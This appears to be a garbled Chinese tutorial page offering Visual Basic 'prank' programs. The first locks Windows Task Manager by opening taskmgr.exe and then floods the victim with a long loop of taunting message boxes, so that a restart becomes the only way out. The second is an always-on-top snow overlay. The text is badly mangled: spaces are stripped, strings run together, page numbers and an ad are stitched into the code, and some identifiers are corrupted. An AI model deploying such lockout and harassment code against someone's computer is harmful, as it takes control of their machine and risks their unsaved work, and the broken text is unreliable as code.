VB代碼(整人,實(shí)用幾個(gè)有趣的希望有幫助!!)

1、使用方法：新建一個(gè) txt 文本文檔。然后把拓展名改成“.vbs”的格式。然后右鍵編輯，把代碼復(fù)制進(jìn)去，ok!1.整死你啊！此代碼鎖定了任務(wù)管理器，想關(guān)閉只有重新啟動電腦，惡搞你的好友，或者騷擾你PrivateSubForm_Load()OpenEnviron$(WinDir)&system32taskmgr.exeForBinaryAs#1Form=1To999MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBo

2、xMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBox呵呵，你知道我是誰嗎？，16什么？不知道？,16那你打開我干什么？,16你有空沒事做吧？！,16我.就是鼎鼎大名的 987876198,16987876198.”,16現(xiàn)在你把它打開了覺得后悔了吧？呵呵算了算了，不玩你了”，16現(xiàn)在我數(shù) 3 聲就 IZJ 人，行了吧？”,161,16.,16,16,16噎噎噎噎，我又回來了！,16哈哈，是不是很過癮呢？,16現(xiàn)在我先介紹下自己.,16我叫王得

3、地.”，16性別：男.,16今年 35 歲.”,16不好意思噢，我好像說多了.”，16不要這樣喇，聽我說完先好不？,16來來來，開始喇.,16我叫王得地.，16家中有屋又有田.,16生活樂無邊.，16好像我又說多了.,16不要生氣嘛，你認(rèn)真看下去我就放你走.,16好，開始喇.”,16從前有座山.,16山里有個(gè)座廟.,16廟里有個(gè)和尚.”，16哈哈，想哭嗎？，16被騙的感覺不爽吧？,16喂喂喂！別別.千萬別重啟電腦,16我告訴你怎么關(guān)吧,16先打開任務(wù)管理器,16忘了告訴你了，任務(wù)管理器打不開了,16別恨我啊你不小心，16電腦重新啟動吧,16相信我吧，你知道我是不會騙人的，16如果你還想繼續(xù)點(diǎn)的

4、話，你就別聽我的,16呵呵，我又沒有說這個(gè)東西沒有,16我只想說桌面沒有罷了.,16嘻嘻，爽不爽口丫?,16對著電腦屏幕大聲說低調(diào)大好人,16不然，我就沒辦法的咯,16因?yàn)槲野蜒h(huán)設(shè)置成 99 了，16想保存電腦數(shù)據(jù)只有繼續(xù)點(diǎn)了,16絕對會出到去的,16好了，廢話不多說了，祝你好運(yùn).，16制作:低調(diào)不倒，16QQ:987876198,16E-mail:不告訴你,16好，繼續(xù)循環(huán).，162.滿屏小雪花這是我以前寫的小程序讓整個(gè)屏幕雪花飄飄的改進(jìn)，本程序是一個(gè)模擬下雪的小程序：大小不同隨風(fēng)飄蕩的雪花從屏幕上方不斷落下，飄滿整個(gè)屏幕。雪花可在任何窗口上飄蕩，包括任務(wù)欄、開始菜單、彈出菜單等地方。本程

5、序與原程序的主要改進(jìn)之處是：落下的雪花不會消失，會在屏幕底部不斷堆積，雙擊屏幕底部的積雪可使積雪消失。本程序編譯成 exe 文件運(yùn)行后，只能通過系統(tǒng)任務(wù)管理器”才能終止運(yùn)行。程序運(yùn)行效果截圖如下：本程序包含兩個(gè)窗體，F(xiàn)orm1 和 Form2,其中 Form1 是啟動窗體。代碼在在 VB6 調(diào)試通過：MsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxMsgBoxNextEndSub*迅雷看看-免費(fèi)*t2Jpg高清影視卜面是 Forml 窗體代碼：=注意：

6、在屬性窗口將窗體的 BorderStyle 屬性設(shè)置為 0,即窗體是無邊框窗體在窗體上放置一個(gè)控件：Timer1,不必設(shè)置任何屬性PrivateDeclareFunctionSetWindowPosLibuser32(ByValhWndAsLong,ByValhWndlnsertAfterAsLong,ByValXAsLong,ByVal丫AsLong,ByValcxAsLong,ByValcyAsLong,ByValwFlagsAsLong)AsLongPrivateDeclareFunctionSetLayeredWindowAttributesLibuser32(ByValhWndAsL

7、ong,ByValcrKeyAsLong,ByValbAlphaAsByte,ByValdwFlagsAsLong)AsLongPrivateDeclareFunctionGetWindowLongLibuser32AliasGetWindowLongA(ByValhWndAsLong,ByValnlndexAsLong)AsLongPrivateDeclareFunctionSetWindowLongLibuser32AliasSetWindowLongA(ByValhWndAsLong,ByValnlndexAsLong,ByValdwNewLongAsLong)AsLongDimctSn

8、ow()AstySnow,ctSnowSAsLong,ctSeChangeAsLongPrivateTypetySnow定義表示雪花的數(shù)據(jù)類型XAsSingle:xVAsSinglexYAsSingle:yVAsSingleySeAsLong:SizeAsSingleEndTypePrivateSubForm_Load()ctSnowS=200300雪花數(shù)量ctSeChange=30雪花顏色的變化范圍最大化窗口。注意：不要用在屬性窗口設(shè)置 WindowState 屬性的方式，也不使用 Me.WindowState=2 代碼。否則，在用戶調(diào)整任務(wù)欄狀態(tài)的時(shí)候，會造成積雪的位置錯(cuò)位。Me.Wind

9、owState=0Me.Move0,0,Screen.Width,Screen.HeightReDimctSnow(1ToctSnowS)Me.Caption=雪花飄飄Me.AutoRedraw=True:Me.ScaleMode=3Me.BackColor=RGB(235-ctSeChange*2,235-ctSeChange*2,255)CallTransWin(Me.hWnd,Me.BackColor)將窗口背景色設(shè)置為透明的Form2.AutoRedraw=True:Form2.ScaleMode=3Form2.BackColor=Me.BackColorForm2.MoveForml

10、.Left,Forml.Top,Forml.Width,Forml.HeightCallTransWin(Form2.hWnd,Form2.BackColor)將窗口背景色設(shè)置為透明的Form2.ShowTimerl.Enabled=True:Timerl.lnterval=20EndSubPrivateSubTimer1_Timer()DimIAsLong,VAsSingle,H1AsSingle,IsDownAsBoolean,SeAsLong坐標(biāo)、水平移動速度坐標(biāo)、垂直移動速度雪花顏色、大小修改此數(shù)字，可改變雪花整體飄蕩的速度初始化隨機(jī)發(fā)生器WinInTopMe.hWnd,True使雪花

11、(窗口)顯示在最前，包括顯示到任務(wù)欄上面WinInTopForm2.hWnd,TrueMe.Line(0,0)-(Me.ScaleWidth,Me.ScaleHeight),Me.BackColor,BFForI=1ToctSnowSctSnow(I).X=ctSnow(I).X+ctSnow(I).xV*VctSnow(I).Y=ctSnow(I).Y+ctSnow(I).yV*VIfRnd*20Me.ScaleHeightThenCallSnowInit(I)未初始化，或超出下邊界ctSnow(I).Size=2*調(diào)試代碼ShowStrMe,I畫一朵雪花Me.Font.Size=ctSno

12、w(I).SizeH1=Me.TextHeight(*)*0.5半個(gè)字符高度IfctSnow(I).XMe.ScaleWidthThenctSnow(I).X=-H1超出右邊界,最下層積雪位置IsDown=ctSnow(I).YMe.ScaleHeight-H1IfIsDownThenctSnow(I).Y=Me.ScaleHeight-H1,積雪密度:Y 坐標(biāo)后 H1*0.9 數(shù)值越小密度越大,數(shù)值過大，如 H1*1.5,會使積雪堆積成柱狀或造成空隙。,數(shù)值過小，如 H1*0.5,會使積雪堆積速度緩慢。Se=Form2.Point(ctSnow(I).X+H1*0.5,ctSnow(I).Y

13、+H1*0.9)IfSe-1AndSeForm2.BackC010rThenIsDown=True,已落到最下面，在 Form2 的相同位置繪制積雪IfIsDownThenShowStrForm2,ICallSnowInit(I)IfctSnow(I).YMe.ScaleHeight*0.9ThenForm2.Font.Size=12Form2.CurrentX=(Me.ScaleWidth-8*Me.TextHeight(12)*0.5Form2.CurrentY=Me.ScaleHeight*0.92Form2.ForeColor=RGB(0,0,255)Form2.Print雙擊此處消除

14、積雪EndIfEndIfNextRandomizeEndSubPrivateSubShowStr(Kj,IAsLong)畫一朵雪花DimH1AsSingleKj.Font.Size=ctSnow(I).SizeKj.CurrentX=ctSnow(I).XKj.CurrentY=ctSnow(I).YKj.ForeColor=ctSnow(I).SeIfctSnow(I).Size4.2ThenKj.Print*ElseIfctSnow(I).Size3ThenKj.DrawWidth=2ElseKj.DrawWidth=1H1=Kj.TextHeight(*)*0.5Kj.PSet(ctSn

15、ow(I).X+H1*0.5,ctSnow(I).Y+H1-1)EndIfEndSubPrivateSubSnowInit(IAsLong),初始化一朵雪花DimSAsSinglectSnow(I).X=Rnd*Me.ScaleWidthctSnow(I).xV=Rnd-0.5ctSnow(I).yV=Rnd*0.5+0.1S=2+Rnd*9字體最大 11 號IfctSnow(I).Size=0ThenctSnow(I).Y=Rnd*Me.ScaleHeightElseMe.Font.Size=SctSnow(I).Y=-Me.TextHeight(*)EndIfctSnow(I).Size=

16、SS=235-ctSeChange*2+Int(Rnd*ctSeChange*2)ctSnow(I).Se=RGB(S,S,255),雪花略帶藍(lán)色，否則在白背景時(shí)將看不見EndSubPrivateSubTransWin(hWndAsLong,TransColorAsLong)將窗口顏色 TransColor 設(shè)置為透明的DimExsTyleAsLongConstWS_EX_LAYERED=&H80000,GWL_ExsTyle=-20ExsTyle=WS_EX_LAYEREDOrGetWindowLong(hWnd,GWL_ExsTyle)SetWindowLonghWnd,GWL_E

17、xsTyle,ExsTyleSetLayeredWindowAttributeshWnd,TransColor,0,1EndSubPrivateSubWinInTop(nWndAsLong,OptionalInTopAsBoolean)窗口保持最前ConstHWND_NoTopMost=-2取消在最前ConstHWND_TopMost=-1最上ConstSWP_NoSize=&H1wFlags 參數(shù)ConstSWP_NoMove=&H2ConstSWP_NoZorder=&H4ConstSWP_NoActivate=&H10不激活窗口ConstSWP_ShowWindow=&H40ConstSWP_HideWindow=&H80DimnInAsLongIfInTopThennIn=HWND_TopMostElsenIn=HWND_NoTopMostSetWindowPosnWnd,nIn,0,0,0,0,SWP_NoSize+SWP_NoMove+SWP_NoActivateEndSub“下面是